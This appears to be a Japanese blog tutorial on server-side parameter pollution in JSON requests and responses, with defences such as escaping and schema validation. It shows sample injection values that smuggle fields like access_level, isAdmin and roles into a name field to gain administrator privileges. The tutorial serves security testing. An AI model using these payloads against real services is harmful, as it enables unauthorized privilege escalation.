構造化データ形式におけるServer-side Parameter Pollution（SSPP） – JSONリクエスト・レスポンスでのインジェクション検証

Hello there, ('ω')ノ

JSONデータの中に含まれるユーザー入力が、サーバー側で不適切に扱われた場合に、新たなパラメータ（例：access_level）を注入できるかどうかを確認することで、サーバーサイドパラメータ汚染が成立するかどうかを検証します。

POST /myaccount
Content-Type: application/json

{
  "name": "peter"
}

→ サーバー側で内部APIに渡るJSON：

{
  "name": "peter"
}

POST /myaccount
Content-Type: application/json

{
  "name": "peter\",\"access_level\":\"administrator"
}

→ サーバーが バリデーションせずに値をそのまま埋め込んだ場合：

{
  "name": "peter",
  "access_level": "administrator"
}

💣 → 管理者権限が付与される可能性あり！

{
  "user": "peter",
  "message": "Welcome peter"
}

→ ユーザー名に以下のような値を入力：

"peter\",\"isAdmin\":true"

→ サーバーがそのままレスポンス生成：

{
  "user": "peter",
  "isAdmin": true,
  "message": "Welcome peter"
}

⚠️ → JSONレスポンスが構文的に拡張され、フロントエンド側のロジックにも影響を与える可能性あり

観察内容	意味
構文エラー（syntax error）	サーバーがJSONを内部的に構築している証拠
`"access_level"` や `"isAdmin"` などが追加されている	インジェクション成功、SSPP成立の可能性大
管理者権限が得られる、管理画面が表示される	実行結果が反映されている強力な証拠

入力	意図
`peter\",\"access_level\":\"admin`	管理権限の追加
`user\",\"is_verified\":true`	認証済みステータスの変更
`foo\",\"roles\":[\"admin\",\"editor\"]`	権限ロールの注入
`attacker\",\"metadata\":{\"debug\":true}`	ネストされたオブジェクトの注入

攻撃が成立する条件	防御策
JSON文字列に直接埋め込まれる構造	サーバー側でのエスケープ処理を確実に行う
入力値に `"` や `,` などの構文トークンが含まれている	フィールド構造の検証（スキーマバリデーション）を導入する

項目	ポイント
JSON構造にフィールドを追加する形式でのインジェクション	`"},"access_level":"admin"` などの入力に注意
リクエストとレスポンス両方で脆弱性が発生しうる	出力時にもJSON構築の安全性を確認する必要あり
構文が崩れずパラメータが増えていたら要注意！	サーバー処理に反映される危険性あり
JSONに限らず、XMLなどの構造化データでも同様のリスク	XXEやXIncludeなども併せて確認することが重要

このようなSSPPは、アプリケーション開発時に見落とされがちですが、サーバーが構造化データを扱う限りどこにでも潜んでいます。
JSONを扱うREST APIが主流となった今こそ、構造化データインジェクションの視点を持ったセキュリティテストが必要です。

Best regards, (^^ゞ

Shikata Ga Nai